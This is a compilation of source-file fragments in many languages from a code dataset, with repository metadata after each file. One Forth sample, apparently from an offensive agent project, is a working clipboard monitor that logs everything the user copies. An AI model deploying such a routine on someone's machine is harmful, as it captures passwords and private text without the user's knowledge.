if (count % 100000 === 0 && ((diff=new Date()-startTime) > 5000)) {
var totTime = runningTime + diff;
var totIterations = runningCount + count;
if (! confirm("A while loop is taking a long time to run. " +
"Do you want to continue? " +
totIterations + " iterations of the loop have taken " +
totTime + "ms so far." +
"\n\nChoose Cancel to stop the program, or OK to " +
"let it continue."))
throw new GraceExceptionPacket(ResourceExceptionObject,
new GraceString("user abort of long-running loop."));
else {
runningCount += count;
runningTime += diff;
count = 0;
startTime = new Date();
}
}
callmethod(b, "apply", [0]);
}
} else {
while (Grace_isTrue(callmethod(c, "apply", [0]))) {
callmethod(b, "apply", [0]);
}
}
return GraceDone;›
}
}
method inBrowser {
native "js" code ‹return (typeof global === "undefined") ? GraceTrue : GraceFalse;›
}
method engine {
native "js" code ‹return new GraceString("js");› // only when generating JS
constants.ProgrammingError.raise "the method `engine` must be augmented to support this execution engine"
}
method become(a, b) {
// not clear what this is actualy intended to do ... it's used in statictypes dialect
native "js" code ‹
for (let k in var_a) {
const temp = var_a[k];
var_a[k] = var_b[k];
var_b[k] = temp;
}
GraceDone;
›
}
| Grace | 5 | smola/language-dataset | data/github.com/gracelang/minigrace/db1564417d1656f565740442951a9ede852345ab/intrinsic.grace | [
"MIT"
] |
<html>
<body>
<form id="form" action="d.html" method="post" accept-charset="utf-8">
<p><input type="submit" value="submit"></p>
</form>
<script type="text/javascript" charset="utf-8">
document.getElementById("form").submit();
</script>
</body>
</html>
| HTML | 3 | lingxiao-Zhu/electron | spec/fixtures/pages/post.html | [
"MIT"
] |
function pkpr --description 'extract piknik clipboard content sent using the pkfr command'
piknik -paste | tar xzpvf -
end
| fish | 2 | Shark/piknik | fish-shell/functions/pkpr.fish | [
"BSD-2-Clause"
] |
-- we have to hard code the query literals because pig substitution via pigserver can't handle this kind of substitution
hits = load '$INPUT' using com.twitter.elephantbird.pig.PigLuceneIndexingIntegrationTest\$Loader('--queries','+(macbeth achilles)','+shield','+out, +"candle!"');
store hits into '$OUTPUT' using PigStorage('\t');
| PigLatin | 3 | bcoverston/elephant-bird | pig-lucene/src/test/resources/com/twitter/elephantbird/pig/search_queries.pig | [
"Apache-2.0"
] |
syntax = "proto3";
package containerd.services.version.v1;
import "google/protobuf/empty.proto";
import weak "gogoproto/gogo.proto";
// TODO(stevvooe): Should version service actually be versioned?
option go_package = "github.com/containerd/containerd/api/services/version/v1;version";
service Version {
rpc Version(google.protobuf.Empty) returns (VersionResponse);
}
message VersionResponse {
string version = 1;
string revision = 2;
}
| Protocol Buffer | 4 | yankay/autoscaler | vertical-pod-autoscaler/e2e/vendor/github.com/containerd/containerd/api/services/version/v1/version.proto | [
"Apache-2.0"
] |
*-------------------------------------------------------------------------------
* Generate the model equations
*-------------------------------------------------------------------------------
$label start_loop
$if "a%1"=="a" $goto end_loop
Equations
$batinclude modules 'eql' %1
;
$batinclude modules 'eqs' %1
model witch_%1 /
$batinclude modules 'eql' %1
/;
witch_%1.optfile=1; # the option file solvername.opt is to be used
witch_%1.holdfixed=%holdfixed%; # treat fixed values as constant
witch_%1.scaleopt=1; # Use scaling for better gradients estimation
witch_%1.solvelink=%solvelink%; # Use parallel or sequential solving
$shift
$goto start_loop
$label end_loop | GAMS | 4 | witch-team/witchmodel | algo/model.gms | [
"Apache-2.0"
] |
"""
string: the string indexer value
object: the object indexer value
"""
[System.Reflection.DefaultMember("Item")]
class Container:
Item(index as object):
set:
print "object: $value"
Item(index as string):
set:
print "string: $value"
d = Container() as duck
str = "index"
obj = object()
d[str] = "the string indexer value"
d[obj] = "the object indexer value" | Boo | 3 | popcatalin81/boo | tests/testcases/regression/duck-default-setter-overload.boo | [
"BSD-3-Clause"
] |
array colors=values(Image.Color); //Snapshot the arbitrary order so it's consistent within a given run
int r=0,g=255,b=255;
Image.Image genfractal(float x1,float x2,float y1,float y2,int xres,int yres,int iter)
{
Image.Image img=Image.Image(xres,yres);
for (int ypos=0;ypos<yres;++ypos)
{
for (int xpos=0;xpos<xres;++xpos)
{
float x=(x2-x1)*xpos/xres+x1, y=(y2-y1)*ypos/yres+y1;
float cx=x,cy=y; //For a Mandelbrot set, the mutation point is the point itself. For a Julia set, it's a fixed vector.
for (int i=0;i<iter;++i)
{
[x,y]=({x*x-y*y + cx,2*x*y + cy});
if (x*x+y*y > 4)
{
//img->setpixel(xpos,ypos,colors[i]);
img->setpixel(xpos,ypos,r*i/iter,g*i/iter,b*i/iter);
break;
}
}
//If we flow past the end, assume we're inside the set and leave the pixel black.
}
}
return img;
}
object gimg;
void zoom(float x1,float x2,float y1,float y2,int xres,int yres)
{
int iter=20;
while (1)
{
Image.Image img;
float tm=gauge {img=genfractal(x1,x2,y1,y2,xres,yres,iter);};
write("Generated at (%f,%f)-(%f,%f) %d in %fs\n",x1,y1,x2,y2,iter,tm);
gimg->get_parent()->set_title(sprintf("Mandelbrot: %d iter in %fs\n",iter,tm));
if (tm>10.0) iter-=5; else if (tm<4.0) iter+=5;
gimg->set_from_image(GTK2.GdkImage(0,img));
mapping pos=gimg->get_pointer();
int x=pos->x,y=pos->y;
mapping sz=gimg->size_request();
int w=sz->width,h=sz->height;
float xfr=0.5,yfr=0.5; //Fractions between 0.0 and 1.0 indicating zoom position
if (x>=0 && y>=0 && x<w && y<h) {xfr=(float)x/w; yfr=(float)y/h;} //If mouse is within field, zoom on mouse.
float xpos=x1+(x2-x1)*xfr,ypos=y1+(y2-y1)*yfr; //Positions within the range covered
write("pos: %f,%f = %f,%f\n",xfr,yfr,xpos,ypos);
x1=xpos*.05+x1*.95; x2=xpos*.05+x2*.95;
y1=ypos*.05+y1*.95; y2=ypos*.05+y2*.95;
write("pos: %f,%f = %f,%f\n",xfr,yfr,(x2-x1)*xfr,(y2-y1)*yfr);
}
}
int main()
{
float x1=-2.25,x2=0.75,y1=-1.0,y2=1.0;
int xres=1920,yres=990;
//Image.Image img;
//write("Time to generate: %O\n",gauge {img=genfractal(x1,x2,y1,y2,xres,yres);});
//Stdio.write_file("mandelbrot.png",Image.PNG.encode(img));
GTK2.setup_gtk();
GTK2.Window(0)->set_title("Mandelbrot")->add(gimg=GTK2.Image(GTK2.GdkImage(0,Image.Image(xres,yres))))->show_all()->signal_connect("destroy",lambda() {exit(0);});
Thread.Thread(zoom,x1,x2,y1,y2,xres,yres);
return -1;
}
| Pike | 4 | stephenangelico/shed | mandelbrot.pike | [
"MIT"
] |
# This file is a part of Julia. License is MIT: https://julialang.org/license
module MiniCassette
# A minimal demonstration of the cassette mechanism. Doesn't support all the
# fancy features, but sufficient to exercise this code path in the compiler.
using Core.Compiler: method_instances, retrieve_code_info, CodeInfo,
MethodInstance, SSAValue, GotoNode, GotoIfNot, ReturnNode, Slot, SlotNumber, quoted,
signature_type
using Base: _methods_by_ftype
using Base.Meta: isexpr
using Test
export Ctx, overdub
struct Ctx; end
# A no-op cassette-like transform
function transform_expr(expr, map_slot_number, map_ssa_value, sparams)
transform(expr) = transform_expr(expr, map_slot_number, map_ssa_value, sparams)
if isexpr(expr, :call)
return Expr(:call, overdub, SlotNumber(2), map(transform, expr.args)...)
elseif isa(expr, GotoIfNot)
return GotoIfNot(transform(expr.cond), map_ssa_value(SSAValue(expr.dest)).id)
elseif isexpr(expr, :static_parameter)
return quoted(sparams[expr.args[1]])
elseif isa(expr, ReturnNode)
return ReturnNode(transform(expr.val))
elseif isa(expr, Expr)
return Expr(expr.head, map(transform, expr.args)...)
elseif isa(expr, GotoNode)
return GotoNode(map_ssa_value(SSAValue(expr.label)).id)
elseif isa(expr, Slot)
return map_slot_number(expr.id)
elseif isa(expr, SSAValue)
return map_ssa_value(expr)
else
return expr
end
end
function transform!(ci, nargs, sparams)
code = ci.code
ci.slotnames = Symbol[Symbol("#self#"), :ctx, :f, :args, ci.slotnames[nargs+1:end]...]
ci.slotflags = UInt8[(0x00 for i = 1:4)..., ci.slotflags[nargs+1:end]...]
# Insert one SSAValue for every argument statement
prepend!(code, [Expr(:call, getfield, SlotNumber(4), i) for i = 1:nargs])
prepend!(ci.codelocs, [0 for i = 1:nargs])
prepend!(ci.ssaflags, [0x00 for i = 1:nargs])
ci.ssavaluetypes += nargs
function map_slot_number(slot)
if slot == 1
# self in the original function is now `f`
return SlotNumber(3)
elseif 2 <= slot <= nargs + 1
# Arguments get inserted as ssa values at the top of the function
return SSAValue(slot - 1)
else
# The first non-argument slot will be 5
return SlotNumber(slot - (nargs + 1) + 4)
end
end
map_ssa_value(ssa::SSAValue) = SSAValue(ssa.id + nargs)
for i = (nargs+1:length(code))
code[i] = transform_expr(code[i], map_slot_number, map_ssa_value, sparams)
end
end
function overdub_generator(self, c, f, args)
if !isdefined(f, :instance)
return :(return f(args...))
end
tt = Tuple{f, args...}
match = Base._method_by_ftype(tt, -1, typemax(UInt))
mi = Core.Compiler.specialize_method(match)
# Unsupported in this mini-cassette
@assert !mi.def.isva
code_info = retrieve_code_info(mi)
@assert isa(code_info, CodeInfo)
code_info = copy(code_info)
if isdefined(code_info, :edges)
code_info.edges = MethodInstance[mi]
end
transform!(code_info, length(args), match.sparams)
code_info
end
@inline function overdub(c::Ctx, f::Union{Core.Builtin, Core.IntrinsicFunction}, args...)
f(args...)
end
@eval function overdub(c::Ctx, f, args...)
$(Expr(:meta, :generated_only))
$(Expr(:meta,
:generated,
Expr(:new,
Core.GeneratedFunctionStub,
:overdub_generator,
Any[:overdub, :ctx, :f, :args],
Any[],
@__LINE__,
QuoteNode(Symbol(@__FILE__)),
true)))
end
end
using .MiniCassette
# Test #265 for Cassette
f() = 1
@test overdub(Ctx(), f) === 1
f() = 2
@test overdub(Ctx(), f) === 2
# Test that MiniCassette is at least somewhat capable by overdubbing gcd
@test overdub(Ctx(), gcd, 10, 20) === gcd(10, 20)
# Test that pure propagates for Cassette
Base.@pure isbitstype(T) = Base.isbitstype(T)
f31012(T) = Val(isbitstype(T))
@test @inferred(overdub(Ctx(), f31012, Int64)) == Val(true)
@generated bar(::Val{align}) where {align} = :(42)
foo(i) = i+bar(Val(1))
@test @inferred(overdub(Ctx(), foo, 1)) == 43
# Check that misbehaving pure functions propagate their error
Base.@pure func1() = 42
Base.@pure func2() = (this_is_an_exception; func1())
let method = which(func2, ())
mi = Core.Compiler.specialize_method(method, Tuple{typeof(func2)}, Core.svec())
mi.inInference = true
end
func3() = func2()
@test_throws UndefVarError func3()
## overlay method tables
module OverlayModule
using Base.Experimental: @MethodTable, @overlay
@MethodTable(mt)
@overlay mt function sin(x::Float64)
1
end
# short function def
@overlay mt cos(x::Float64) = 2
# parametric function def
@overlay mt tan(x::T) where {T} = 3
end
methods = Base._methods_by_ftype(Tuple{typeof(sin), Float64}, nothing, 1, typemax(UInt))
@test only(methods).method.module === Base.Math
methods = Base._methods_by_ftype(Tuple{typeof(sin), Float64}, OverlayModule.mt, 1, typemax(UInt))
@test only(methods).method.module === OverlayModule
methods = Base._methods_by_ftype(Tuple{typeof(sin), Int}, OverlayModule.mt, 1, typemax(UInt))
@test isempty(methods)
# precompilation
load_path = mktempdir()
depot_path = mktempdir()
try
pushfirst!(LOAD_PATH, load_path)
pushfirst!(DEPOT_PATH, depot_path)
write(joinpath(load_path, "Foo.jl"),
"""
module Foo
Base.Experimental.@MethodTable(mt)
Base.Experimental.@overlay mt sin(x::Int) = 1
end
""")
# precompiling Foo serializes the overlay method through the `mt` binding in the module
Foo = Base.require(Main, :Foo)
@test length(Foo.mt) == 1
write(joinpath(load_path, "Bar.jl"),
"""
module Bar
Base.Experimental.@MethodTable(mt)
end
""")
write(joinpath(load_path, "Baz.jl"),
"""
module Baz
using Bar
Base.Experimental.@overlay Bar.mt sin(x::Int) = 1
end
""")
# when referring an method table in another module,
# the overlay method needs to be discovered explicitly
Bar = Base.require(Main, :Bar)
@test length(Bar.mt) == 0
Baz = Base.require(Main, :Baz)
@test length(Bar.mt) == 1
finally
rm(load_path, recursive=true, force=true)
rm(depot_path, recursive=true, force=true)
filter!((≠)(load_path), LOAD_PATH)
filter!((≠)(depot_path), DEPOT_PATH)
end
| Julia | 5 | jonas-schulze/julia | test/compiler/contextual.jl | [
"MIT"
] |
{ ."
clipboard.fth
Monitor the clipboard and print out its text contents whenever
they become available. Exit the loop by submitting any input
(detected using key?).
Run monitor-clipboard to enter the loop.
" ETX emit }!
loadlib user32.dll
value user32
1 value CF_TEXT
user32 0 dllfun GetForegroundWindow GetForegroundWindow
user32 1 dllfun OpenClipboard OpenClipboard
user32 1 dllfun GetClipboardData GetClipboardData
user32 0 dllfun CloseClipboard CloseClipboard
user32 0 dllfun GetClipboardSequenceNumber GetClipboardSequenceNumber
user32 1 dllfun IsClipboardFormatAvailable IsClipboardFormatAvailable
: consume begin key? while key drop repeat ;
: monitor-clipboard
.pre
consume begin
\ get clipboard data and print it in the log
GetForegroundWindow
dup OpenClipboard drop
CF_TEXT IsClipboardFormatAvailable if
\ grab and log some text
cr -bold @time .time +bold -rev space
CF_TEXT GetClipboardData c->str trim type
then
\ clean up resources and loop
CloseClipboard drop
CloseHandle drop
\ wait for a copy event
GetClipboardSequenceNumber begin
dup GetClipboardSequenceNumber =
key? 0= and while
250 ms
repeat
\ abort when a key is pressed
drop key? 0= while
repeat
consume .post
;
| Forth | 4 | jephthai/EvilVM | samples/clipboard.fth | [
"MIT"
] |
#include badrecurse2.stan
| Stan | 0 | sthagen/stan-dev-stan | src/test/test-models/included/badrecurse3.stan | [
"CC-BY-3.0",
"BSD-3-Clause"
] |
<li class="
{{if showAsCarousel "career-interests__pill--slide-item" "career-interests__pill"}}
"></li>
{{
yield
(hash
header=(component "fluid-table/thead")
body=(component "fluid-table/tbody")
th=(component "fluid-table/th")
td=(component "fluid-table/td")
)
}}
<LinkTo
@query={{
hash
filter=(compute this.computeFilterWithEmail this.filter campaignPic.userEmail)
}}
class="text-xs hover:underline"
data-test-user-email
>
{{campaignPic.userEmail}}
</LinkTo>
{{if abcdefghijklmnopqrstuvwxyz (t 'abcdefghijklmnopq') (t 'abcdefghijklmnopq')}}
{{#if (eq abcdefghijklmnopqrstuvwxyzabcdefgh abcdefghijklmnopqrstuvwxyzabcdefgh)}}
foo{{/if}}
{{some-helper abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghijkl}}
| Handlebars | 3 | tumido/prettier | tests/format/handlebars/mustache-statement/issue-8691.hbs | [
"MIT"
] |
{{^editing}}
<span>{{quantity}}x {{name}}</span>
<button class='edit'>Edit</button>
<button class='remove'>x</button>
{{/editing}}
{{#editing}}
<span>{{name}}</span>
<input class='edit-quantity' value='{{quantity}}' type='number' />
<button class='cancel'>Cancel</button>
<button class='save'>Save</button>
{{/editing}}
{{#error}}
<span>{{error}}</span>
{{/error}}
| mupad | 3 | royriojas/buildfirst | ch08/07b_testability-boulevard/app/views/templates/listItem.mu | [
"MIT"
] |
(* /etc/libvirt/libvirtd.conf *)
module Libvirtd =
autoload xfm
let eol = del /[ \t]*\n/ "\n"
let value_sep = del /[ \t]*=[ \t]*/ " = "
let indent = del /[ \t]*/ ""
let array_sep = del /,[ \t\n]*/ ", "
let array_start = del /\[[ \t\n]*/ "[ "
let array_end = del /\]/ "]"
let str_val = del /\"/ "\"" . store /[^\"]*/ . del /\"/ "\""
let bool_val = store /0|1/
let int_val = store /[0-9]+/
let str_array_element = [ seq "el" . str_val ] . del /[ \t\n]*/ ""
let str_array_val = counter "el" . array_start . ( str_array_element . ( array_sep . str_array_element ) * ) ? . array_end
let str_entry (kw:string) = [ key kw . value_sep . str_val ]
let bool_entry (kw:string) = [ key kw . value_sep . bool_val ]
let int_entry (kw:string) = [ key kw . value_sep . int_val ]
let str_array_entry (kw:string) = [ key kw . value_sep . str_array_val ]
(* Config entry grouped by function - same order as example config *)
let network_entry = bool_entry "listen_tls"
| bool_entry "listen_tcp"
| str_entry "tls_port"
| str_entry "tcp_port"
| str_entry "listen_addr"
| bool_entry "mdns_adv"
| str_entry "mdns_name"
let sock_acl_entry = str_entry "unix_sock_group"
| str_entry "unix_sock_ro_perms"
| str_entry "unix_sock_rw_perms"
| str_entry "unix_sock_dir"
let authentication_entry = str_entry "auth_unix_ro"
| str_entry "auth_unix_rw"
| str_entry "auth_tcp"
| str_entry "auth_tls"
let certificate_entry = str_entry "key_file"
| str_entry "cert_file"
| str_entry "ca_file"
| str_entry "crl_file"
let authorization_entry = bool_entry "tls_no_verify_certificate"
| bool_entry "tls_no_sanity_certificate"
| str_array_entry "tls_allowed_dn_list"
| str_array_entry "sasl_allowed_username_list"
| str_array_entry "access_drivers"
let processing_entry = int_entry "min_workers"
| int_entry "max_workers"
| int_entry "max_clients"
| int_entry "max_queued_clients"
| int_entry "max_anonymous_clients"
| int_entry "max_requests"
| int_entry "max_client_requests"
| int_entry "prio_workers"
let logging_entry = int_entry "log_level"
| str_entry "log_filters"
| str_entry "log_outputs"
| int_entry "log_buffer_size"
let auditing_entry = int_entry "audit_level"
| bool_entry "audit_logging"
let keepalive_entry = int_entry "keepalive_interval"
| int_entry "keepalive_count"
| bool_entry "keepalive_required"
let misc_entry = str_entry "host_uuid"
(* Each enty in the config is one of the following three ... *)
let entry = network_entry
| sock_acl_entry
| authentication_entry
| certificate_entry
| authorization_entry
| processing_entry
| logging_entry
| auditing_entry
| keepalive_entry
| misc_entry
let comment = [ label "#comment" . del /#[ \t]*/ "# " . store /([^ \t\n][^\n]*)?/ . del /\n/ "\n" ]
let empty = [ label "#empty" . eol ]
let record = indent . entry . eol
let lns = ( record | comment | empty ) *
let filter = incl "/etc/libvirt/libvirtd.conf"
. Util.stdexcl
let xfm = transform lns filter
| Augeas | 5 | SIIS-cloud/pileus | libvirt/pileus-libvirt-1.2.12/daemon/libvirtd.aug | [
"Apache-2.0"
] |
.header-link:after {
position: relative;
left: 0.5em;
opacity: 0;
font-size: 0.8em;
-moz-transition: opacity 0.2s ease-in-out 0.1s;
-ms-transition: opacity 0.2s ease-in-out 0.1s;
}
h2:hover .header-link,
h3:hover .header-link,
h4:hover .header-link,
h5:hover .header-link,
h6:hover .header-link {
opacity: 1;
}
| CSS | 3 | Ondoz/hugo | docs/_vendor/github.com/gohugoio/gohugoioTheme/assets/css/_header-link.css | [
"Apache-2.0"
] |
"""
A ring is a group of processes connected to each other using
unidirectional links through which messages can pass from process to
process in a cyclic manner.
The logic of this program is as follows:
* Each process in a ring is represented by the actor `Ring`
* `Main` creates Ring by instantiating `Ring` actors based on the
arguments passed and links them with each other by setting the next
actor as the previous ones number and at the end linking the last actor
to the first one thereby closing the links and completing the ring
* Once the ring is complete messages can be passed by calling the `pass`
behaviour on the current `Ring` to its neighbour.
* The program prints the id of the last `Ring` to receive a message
For example if you run this program with the following options `--size 3`
and `--pass 2`. It will create a ring that looks like this:
* * * *
* * * *
* 1 *_ _ _ * 2 *
* * * *
* * * *
* * * *
\ /
\ /
\ /
\ * * /
* *
* 3 *
* *
* *
* *
and print 3 as the id of the last Ring actor that received the
message.
"""
use "collections"
actor Ring
let _id: U32
let _env: Env
var _next: (Ring | None)
new create(id: U32, env: Env, neighbor: (Ring | None) = None) =>
_id = id
_env = env
_next = neighbor
be set(neighbor: Ring) =>
_next = neighbor
be pass(i: USize) =>
if i > 0 then
match _next
| let n: Ring =>
n.pass(i - 1)
end
else
_env.out.print(_id.string())
end
actor Main
var _ring_size: U32 = 3
var _ring_count: U32 = 1
var _pass: USize = 10
var _env: Env
new create(env: Env) =>
_env = env
try
parse_args()?
setup_ring()
else
usage()
end
fun ref parse_args() ? =>
var i: USize = 1
while i < _env.args.size() do
// Every option has an argument.
var option = _env.args(i)?
var value = _env.args(i + 1)?
i = i + 2
match option
| "--size" =>
_ring_size = value.u32()?
| "--count" =>
_ring_count = value.u32()?
| "--pass" =>
_pass = value.usize()?
else
error
end
end
fun setup_ring() =>
for j in Range[U32](0, _ring_count) do
let first = Ring(1, _env)
var next = first
for k in Range[U32](0, _ring_size - 1) do
let current = Ring(_ring_size - k, _env, next)
next = current
end
first.set(next)
if _pass > 0 then
first.pass(_pass)
end
end
fun usage() =>
_env.out.print(
"""
rings OPTIONS
--size N number of actors in each ring
--count N number of rings
--pass N number of messages to pass around each ring
"""
)
| Pony | 5 | rtpax/ponyc | examples/ring/main.pony | [
"BSD-2-Clause"
] |
/* Mask Syntax Demo */
div > ' Test ~[name]';
define :userProfile {
header {
h4 > @title;
button.close;
}
}
:userProfile {
@title > ' Hello ~[: username.toUpperCase()]'
}
style {
html, body {
background: url('name.png') 0 0 no-repeat;
}
}
button {
event click (e) {
this.textContent = `name ${e.clientX} !`;
}
}
md > """
- div
- span
Hello
[one](http://google.com)
""";
header .foo > 'Heading'
button .baz x-signal='click: test' disabled > "
Hello,
world
\"Buddy\"
"
var a = {
name: `name ${window.innerWidth}`
};
span .foo > "~[bind: a.name]" | Mask | 4 | websharks/ace-builds | demo/kitchen-sink/docs/mask.mask | [
"BSD-3-Clause"
] |
package com.baeldung.poi.excel.newcolumn;
import org.apache.poi.ss.usermodel.CellType;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
public class ExcelColumn {
public void addColumn(Sheet sheet, CellType cellType) {
for (Row currentRow : sheet) {
currentRow.createCell(currentRow.getLastCellNum(), cellType);
}
}
}
| Java | 4 | DBatOWL/tutorials | apache-poi-2/src/main/java/com/baeldung/poi/excel/newcolumn/ExcelColumn.java | [
"MIT"
] |
(ns jepsen.clickhouse-keeper.queue
(:require
[clojure.tools.logging :refer :all]
[jepsen
[checker :as checker]
[client :as client]
[generator :as gen]]
[knossos.model :as model]
[jepsen.checker.timeline :as timeline]
[jepsen.clickhouse-keeper.utils :refer :all]
[zookeeper :as zk])
(:import (org.apache.zookeeper ZooKeeper KeeperException KeeperException$BadVersionException)))
(defn enqueue [val _ _] {:type :invoke, :f :enqueue :value val})
(defn dequeue [_ _] {:type :invoke, :f :dequeue})
(defrecord QueueClient [conn nodename]
client/Client
(open! [this test node]
(assoc
(assoc this
:conn (zk-connect node 9181 30000))
:nodename node))
(setup! [this test])
(invoke! [this test op]
(case (:f op)
:enqueue (try
(do
(zk-create-if-not-exists conn (str "/" (:value op)) "")
(assoc op :type :ok))
(catch Exception _ (assoc op :type :info, :error :connect-error)))
:dequeue
(try
(let [result (zk-multi-delete-first-child conn "/")]
(if (not (nil? result))
(assoc op :type :ok :value result)
(assoc op :type :fail :value result)))
(catch Exception _ (assoc op :type :info, :error :connect-error)))
:drain
; drain via delete is to long, just list all nodes
(exec-with-retries 30 (fn []
(zk-sync conn)
(assoc op :type :ok :value (into #{} (map #(str %1) (zk-list conn "/"))))))))
(teardown! [_ test])
(close! [_ test]
(zk/close conn)))
(defn sorted-str-range
[n]
(sort (map (fn [v] (str v)) (take n (range)))))
(defn total-workload
"A generator, client, and checker for a set test."
[opts]
{:client (QueueClient. nil nil)
:checker (checker/compose
{:total-queue (checker/total-queue)
:timeline (timeline/html)})
:generator (->> (sorted-str-range 50000)
(map (fn [x]
(rand-nth [{:type :invoke, :f :enqueue :value x}
{:type :invoke, :f :dequeue}]))))
:final-generator (gen/once {:type :invoke, :f :drain, :value nil})})
(defn linear-workload
[opts]
{:client (QueueClient. nil nil)
:checker (checker/compose
{:linear (checker/linearizable {:model (model/unordered-queue)
:algorithm :linear})
:timeline (timeline/html)})
:generator (->> (sorted-str-range 10000)
(map (fn [x]
(rand-nth [{:type :invoke, :f :enqueue :value x}
{:type :invoke, :f :dequeue}]))))})
| Clojure | 4 | pdv-ru/ClickHouse | tests/jepsen.clickhouse-keeper/src/jepsen/clickhouse_keeper/queue.clj | [
"Apache-2.0"
] |
/*
* Copyright (c) 2012 - present Adobe Systems Incorporated. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
*/
/* Temporary implementation of unobtrusive scrollbars.
FUTURE: These currently rely on nonstandard WebKit styles, and don't have all the right behavior.
Longer-term, we'll need to implement custom scrollbars. */
.quiet-scrollbars ::-webkit-scrollbar {
width: 9px;
height: 9px;
}
.quiet-scrollbars ::-webkit-scrollbar-corner {
background-color: transparent;
}
.quiet-scrollbars ::-webkit-scrollbar-thumb {
background-color: rgba(0,0,0,0);
}
/* This looks like a dupe, but without it the thumb doesn't fade in
* properly, probably due to flakiness in how these styles are handled
* in the build of WebKit that's in CEF.
*/
.quiet-scrollbars ::-webkit-scrollbar-corner {
background-color: transparent;
}
/* The data URIs for the thumb were generated from the Fireworks files in
* styles/vertical-thumb-fw-outline.png and styles/horiz-thumb-fw-outline.png.
*/
.quiet-scrollbars #open-files-container:hover::-webkit-scrollbar-thumb:vertical,
.quiet-scrollbars #project-files-container:hover::-webkit-scrollbar-thumb:vertical {
-webkit-border-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAUCAYAAABf2RdVAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAABV0RVh0Q3JlYXRpb24gVGltZQA0LzIzLzEyckCqugAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNXG14zYAAACPSURBVCiR7ZIhDoNAEEXfkJCsxKBJimTPwA3mDHvqsXWrquqaIH5FKUk3XKAJT87789U3SQkYgZ5fNuABvDpgrLUOOefZzBYzW3LOc6112J/pgL6UMkZE+lZERCqlHO0m6WZmCydICuDencmWK/Tfoc3dn63YbxsAkpKkyd1XwD/eV0nT7jBJAO2Ej+kCvAFNxTqyZCNcEQAAAABJRU5ErkJggg==") 9 0;
border-color: transparent;
border-width: 9px 0;
min-height: 20px;
}
.quiet-scrollbars #open-files-container:hover::-webkit-scrollbar-thumb:horizontal,
.quiet-scrollbars #project-files-container:hover::-webkit-scrollbar-thumb:horizontal {
-webkit-border-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAABV0RVh0Q3JlYXRpb24gVGltZQA0LzIzLzEyckCqugAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNXG14zYAAACLSURBVCiRrdIxCgIxEEbhfxYFOyuxCCLazjGmTu6YKyRV7hFLCzshlcXCQoqxMWCd5B3gqx6pKgAcAJwA7NFfBVB2P+zsnLvGGI89kois3vtijAGp6sU5d+vFWsy85ZyfpKp3IuIRrKWqj2UG9N8CoFprP6MQM28NLCGE1wgqImtK6Q2g0uxtGjitL9E6N1T9Wl8CAAAAAElFTkSuQmCC") 0 9;
border-color: transparent;
border-width: 0 9px;
min-width: 20px;
}
| CSS | 3 | ravitejavalluri/brackets | test/perf/OpenFile-perf-files/quiet-scrollbars.css | [
"MIT"
] |
{#measures}
============
Measuring Data Types
--------------------
<div class="hidden">
\begin{code}
{-# LIQUID "--no-termination" #-}
{-# LIQUID "--full" #-}
module Measures where
import Prelude hiding ((!!), length)
import Language.Haskell.Liquid.Prelude
length :: L a -> Int
(!) :: L a -> Int -> a
insert :: Ord a => a -> L a -> L a
insertSort :: Ord a => [a] -> L a
infixr `C`
\end{code}
</div>
Measuring Data Types
====================
Recap
-----
1. <div class="fragment">**Refinements:** Types + Predicates</div>
2. <div class="fragment">**Subtyping:** SMT Implication</div>
Example: Length of a List
-------------------------
Given a type for lists:
<br>
\begin{code}
data L a = N | C a (L a)
\end{code}
<div class="fragment">
<br>
We can define the **length** as:
<br>
\begin{code}
{-@ measure llen :: (L a) -> Int
llen (N) = 0
llen (C x xs) = 1 + (llen xs) @-}
\end{code}
<div class="hidden">
\begin{code}
{-@ data L [llen] a = N | C {hd :: a, tl :: L a } @-}
{-@ invariant {v: L a | 0 <= llen v} @-}
\end{code}
</div>
Example: Length of a List
-------------------------
\begin{spec}
{-@ measure llen :: (L a) -> Int
llen (N) = 0
llen (C x xs) = 1 + llen xs @-}
\end{spec}
<br>
We **strengthen** data constructor types
<br>
\begin{spec} <div/>
data L a where
N :: {v: L a | (llen v) = 0}
C :: a -> t:_ -> {v:_| llen v = 1 + llen t}
\end{spec}
Measures Are Uninterpreted
--------------------------
\begin{spec} <br>
data L a where
N :: {v: L a | (llen v) = 0}
C :: a -> t:_ -> {v:_| llen v = 1 + llen t}
\end{spec}
<br>
`llen` is an **uninterpreted function** in SMT logic
Measures Are Uninterpreted
--------------------------
<br>
In SMT, [uninterpreted function](http://fm.csl.sri.com/SSFT12/smt-euf-arithmetic.pdf) $f$ obeys **congruence** axiom:
<br>
$$\forall \overline{x}, \overline{y}. \overline{x} = \overline{y} \Rightarrow
f(\overline{x}) = f(\overline{y})$$
<br>
<div class="fragment">
Other properties of `llen` asserted when typing **fold** & **unfold**
</div>
<br>
<div class="fragment">
Crucial for *efficient*, *decidable* and *predictable* verification.
</div>
